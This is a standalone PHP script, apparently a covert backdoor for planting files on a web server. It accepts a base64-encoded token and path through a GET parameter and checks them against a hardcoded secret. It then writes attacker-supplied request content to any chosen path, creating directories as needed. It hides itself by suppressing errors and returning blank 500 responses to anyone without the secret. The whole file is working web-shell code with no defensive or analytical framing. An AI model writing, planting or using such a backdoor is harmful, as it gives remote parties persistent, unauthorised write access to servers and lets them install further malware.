<?php
error_reporting(0);
ini_set('display_errors', 0);

$SECRET = 'x9f2a1e';
$PARAM = 'd';

if (!isset($_GET[$PARAM])) {
    http_response_code(500);
    die('');
}

$combined = base64_decode($_GET[$PARAM], true);
if ($combined === false || $combined === '') {
    http_response_code(500);
    die('');
}

$parts = explode('|', $combined, 2);
if (count($parts) !== 2) {
    http_response_code(500);
    die('');
}

list($token, $path) = $parts;

if ($token !== $SECRET) {
    http_response_code(500);
    die('');
}

$path = str_replace(['../', '..\\'], '', $path);

$content = null;
if (isset($_POST['content']) && $_POST['content'] !== '') {
    $content = $_POST['content'];
}
if ($content === null) {
    $raw = file_get_contents('php://input');
    if (!empty($raw)) {
        $content = $raw;
    }
}
if ($content === null) {
    http_response_code(500);
    die('');
}

$dir = dirname($path);
if (!is_dir($dir)) {
    @mkdir($dir, 0755, true);
}

if (@file_put_contents($path, $content) !== false) {
    echo "OK";
} else {
    @chmod($path, 0644);
    if (@file_put_contents($path, $content) !== false) {
        echo "OK";
    } else {
        echo "FAIL";
    }
}
?>